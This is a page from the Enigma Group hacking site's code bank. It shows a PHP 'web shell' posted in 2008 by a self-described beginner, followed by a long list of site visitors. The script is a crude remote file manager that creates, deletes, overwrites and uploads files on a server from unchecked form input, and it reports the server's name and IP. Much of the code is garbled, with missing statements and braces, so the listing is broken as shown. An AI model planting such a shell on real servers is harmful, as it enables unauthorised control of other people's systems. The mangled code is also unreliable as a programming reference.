EG Information
Training Missions
Knowledge Bank
Pimp Us Out!
Has Enigma Group Helped You? Then Help Us By Advertising For Us. Place One Of The Following Images On Your Site And Create A Link Back To Enigma Group.
|
| |
Affiliates
|
|
Enigma Group's Code Bank
.368_shellBy: mediocre - Date Submitted: 2008-06-05 06:29:44 <html> <?php /******************************************************************************************************************************** .about_386_shell .386_shell was written by mediocre. Purely educational, of course. It's actually not all that. I suppose you could use it as: - an alternative content management system - a source of (very) basic whois information (e.g. ip address and server name) - whatever you want, providing you're willing to implement the new features :P It's a reasonably simple script, because when I made this i'd been learning PHP for about 2 days with no prior knowledge of any programming language. All code was written from scratch (and with great difficulty). Please scrutinize my code and bad programming habits and PM me or whatever. Plus, let me know of any additions or changes that could be made to improve it.(Especially the slight lag problem when editing files on the server.) ~mediocre ***********************************************************************************************************************************/ <body bgcolor="#000000" text="#99FF00" link="#99FF00" vlink="#99FF00" alink="#99FF00"> <br /> <font face="Arial" size="48px">.386_shell</font> <p align="center"> <tt> '; ?> <table width ="95%" align="center"> <tr align="center"> <td> <tt>.<b>filename</b></tt> </td> <?php $action = $_GET['action']; $url = $_SERVER["SERVER_NAME"]; $ip = $_SERVER["SERVER_ADDR"]; $del = ".delete"; $view = ".create_new_file"; $mkdir = ".create_new_dir"; $edit = ".edit"; $upload = ".upload"; ?> </tr> </table> <?php $handle = '/testarea'; if ($file !== '.' && $file !== '..') <tt> $file<br /> </tt>"; } </table>"; } ?> </p> <br /><br /><br /> <?php //Create Box <p align=\"center\"> $view<form action=\"\" method=\"post\"><input type=\"text\" name=\"viewthisfile\" size=\"30\"><br /> <input type=\"submit\" value=\"Create\"> "; "; $viewfile = $_POST['viewthisfile']; //$viewfile value is that of the textbox "viewthisfile". <p align=\"center\">" . "\"" . $viewfile . "\"" . " is already a file.<br />Enter a different name to continue. </p> "; } elseif ($viewfile != ""){ //Else If $viewfile does not equal "", do this: $emptymess = " This message has been displayed in order for you to open this file.\n\nPlease delete it and continue as normal. "; $viewfilehandle = fopen($viewfile, "w") or die("Could not find $viewfile.<br /> Created $viewfile"); //Create filehandle named $viewfilehandle. //Open $viewfile for writing, if error, display error message. fwrite ($viewfilehandle, $emptymess); fclose($viewfilehandle); //Close file. <p align=\"center\">" . $viewfile . " created. </p> "; } $viewfile = ""; /* never worked these bits, fix them if you want: //MKDIR Section //Upload box HTML ?> <p align="center"> <?php echo $upload; ?><br /><br /> <form enctype="multipart/form-data" action="" method="post"> <input type="hidden" name="MAX_FILE_SIZE" value="2147483647"> <input type="file" name="uploadbox" size="30"><br /> <!-- <input type="text" name="target" size="30" value="/"><br /> --> <input type="submit" value="Upload"> </form> <?php //Upload box PHP $dir = "upload/"; //$_POST['target']; $ufile = basename($_FILES['uploadbox']['name']); $uploadtarget = $dir . $ufile; if ($ub != ""){ //If something got put in the textbox named "uploadbox", do this: if (move_uploaded_file($_FILES['uploadbox']['tmp_name'], $uploadtarget)){ echo $ufile . " was succesfully uploaded to " . $dir . "." . "</p>"; } else { //Else do this: echo "Error uploading " . $ufile . " to " . $dir . ".</p>"; //Show error message } } $ub = $_POST['uploadbox']; //variable $ub is equal to uploadbox's value */ ?> <?php //Delete Box <p align=\"center\"> $del<br><br><form action=\"\" method=\"post\"><input type=\"text\" name=\"deletethisfile\" size=\"30\"><br /> <input type=\"submit\" name=\"delsubmit\" value=\"Delete\"> "; $delfile = $_POST['deletethisfile']; { $size = intval(filesize($delfile)/1000) . "kb";unlink ($delfile) or die("Error. Could not delete $delfile."); echo $delfile . " deleted (" . $size . "). "; } echo "<br /><br />" . "\"" . $delfile . "\"" . " does not exist.<br />Could not delete " . "\"" . $delfile . "\"."; } } //Edit box $startmess = ""; $emptymess = " This message has been displayed in order for you to open this file.\n\nPlease delete it and continue as normal. "; $save = "stn.txt"; $anything = "386shell"; $savethename = $save; $stnhandle = fopen($savethename, 'r'); $startmess = fread($stnhandle, 1024); $anyhandle = fopen($savethename, 'w'); fwrite($anyhandle, $anything); } if ($_POST['editthisfile'] != "") { $etf = $_POST['editthisfile']; $etfhandle = fopen($etf, 'r'); $quickwrite = fopen($etf, "w"); fwrite($quickwrite, $emptymess); } $errormess = "Error. Could not open \"$etf\". \"$etf\" does not exist."; } } $startmess = $_POST['editthisfile']; $savethename = $save; $stnhandle = fopen($savethename, 'w'); fwrite($stnhandle, $startmess); $modmess = "\"$startmess\" modified."; } echo "<form method=\"post\" action=\"\" name=\"editform\"><br /><br />$edit<br /><br /> <input type=\"text\" name=\"editthisfile\" size=\"30\" value=\"$startmess\"><input type=\"Submit\" value=\"View Source\"><br /> <textarea name=\"editcode\" rows=\"10\" cols=\"50\">$ed</textarea><br /> <input type=\"submit\" name=\"bang\" value=\"Edit\"> </form> $modmess <br /> "; $etf = $_POST['editthisfile']; $stripy = fopen($etf, 'w'); } echo "<form method=\"post\" action=\"\" name=\"editform\"><br /><br />$edit<br /><br /> <input type=\"text\" name=\"editthisfile\" size=\"30\" value=\"$startmess\"><input type=\"Submit\" value=\"View Source\"><br /> <textarea name=\"editcode\" rows=\"10\" cols=\"50\"></textarea><br /> <input type=\"submit\" name=\"bang\" value=\"Edit\"> </form> $errormess "; } ?> <?php <p align=\"center\"> <b>.server_name</b><br /> : : $url : :<br /> <br /> <b>.server_addr</b><br /> : : $ip : : </p> "; ?> </body> </html>
|
| Return to
php category list |
|
|
Who Visited EnigmaGroup Today?
1502 Guests, 297 Users (188 Spiders)
theanonymous21, Taireegaddita, mongrel88, Taicadine, alexelixir, c_a13, Abhinav2107, hizImmoli, scifics, slchill, spartanvedicrishi, KELATALFTUS, kynapse, Tonyui, Hackpad, Epilioptiop, VireekadiaFap, Mamorite, IodindDog, brunoriversyhn, Effomeidonize, ReottphoffBom, arktek, burgeoningneophyte, TradaGreant, SlayingDragons, Waldlyeps, Arsenal, CJ_Omaha, CreedoFiegree, Ryuske, thethird3y3, todayadvila, pwnpwnlolz, NeetaexomYgom, ookami-namikaze, dot_Cipher, Unotohumsmush, SaubymorRoyab, bivaEmilltite, loltyg, Ausome1, Rik, hrangel, cyber-guard, Meonkzt, mori, 31415926, optioniLele, intorerse, FlifobbyFloks, Ios, saraf, Røgue, cossyDrybrich, IvanDimitriev, havisham, KIKNWING, fitz, fleeloCycle, hackboy302, strudels, CootoDorbeeft, gymnediny, hustleman9tv, comando300, Ysri13, thatoneguy, Paran0id, whoami, Pitanteerve, r0z4, Reapon, cls777, myfabregas, Afrika, suetekh, somebody777, floontiny, Frudopvia, jasonbourne, zombiehack640, CloverCipher, spoosh, Fraubbova, rulebreaker, dncjor, obencefoozy, Fintyoptots, viRuleNt, NipPaineHainy, TheHarrisonW, Jamesgo, TheGanjator, psychomarine, 1421carter, tingle65, claudius, Feld Grau, Partisan, Gunslinger, gydeqqzpn, yshiau, Zaccarato, chromoSone, priovasashCor, ellisp, GothicLogic, keetone, M0rdak, UsedDeteKef, nhorton, archestraty, HatriteBeft, JC06dc5, alpha1, spg, dark_void, wakazi, mtroscheck, TheCheeseDemon, ach.n30, sahariar, hervelegeraf, Psiber_Syn, hackaday, Mod777, neompenly, pollolololo, SnoopSky, Cigmimifs, DrOptix, ProloG-Shaman, unicornrainbow, cheapnikeshoxog, bobsters, foofthoorgo, polemarchos, avacraft, spencerwilliams23, lotato, ryanjcrook, dollerolf, robintenboden, rospark, WexEmbet, BeefSupreme, Hessesian, whydoyoulook, cdpirate, DnA-Ender, CaNcEr, zheincnoob, Vengeance987, justforfun363, RawTeefecycle, Squissesk, aVoid, SaMTHG, neodude, Marion1p, Ops, ddxc, BlAd373, Klosse, khamhou, samsatHD80, PauffPubadvic, AnnaNoult, SexyCreerve, newb1, robster1977, Blizer, Dudleypagrove, Mr_KaLiMaN, FirewallPenetrator, GMo, Seasharp, mrchicken1, Zaxem, N4g4c3N, MaxMeier, Ian, sander.ashwin, Predatorc, lonely.connection, ElEnfermado, wavyd, dirkdanblue, cve916, drag0n, kalak55, a1los, jell0, Exclaw, veceattainc, Muselele, Mr Pacifist, stylish007, zach, litbk, closednetwork99, soroimmuror, memoryshot, PlaneReaction, Wamemanytex38, DieAble, d0seN_36b, jeremy.whitson, lol, nefeolnb, Noticon, statix, anandoump, RomeoG, advilapyday, snorapa, Gkjt, autotuneuser, beanulpinee, 2142, kiklopas, door51, Pizza, deepakkumar, makler2004, M4rcy, Xargos, bdkoenig, Blavatsky, m4f10, Huasca, itsme, xu_lain, Nikhil, ChewBigRed, samxoxo, incicaMaidits, toudioria, Chidokage, Jigoku, cesecyclelm, schn1ffl3r, sam20000, learning, kentora, San Marino, Nightraven, zanydouner, FrofErrodslot, FatalEror, wheaties, akki, AlexDiru, unclejos666, override101, blink_212, uncowstientee, lilkpoigogs, Innonaenupt607, Killshot, ZheIncKnight, ActictGlync, acarseflalk, ___, trashsporn, Memartent, Zoorsornaks, z3z3, heyhey123, Ghajnm, usaliaPels, Ordeptpen, pelly, quellense, Szuba, nmobin27, lamb, x1rt4m, ToutousaRulty, vipervince2002, mannavard1611, BinaryShinigami, Duchdund, afgnumgt, Anatissa, greatg, darkfire1515, bennyblanco5000, Mmmett50, ToryLogsEsoff, impalwinona, Kelsfednege, ensubbrut, ant0601, Alpha0mega, pbarwim |
| |
|
|
|
|
|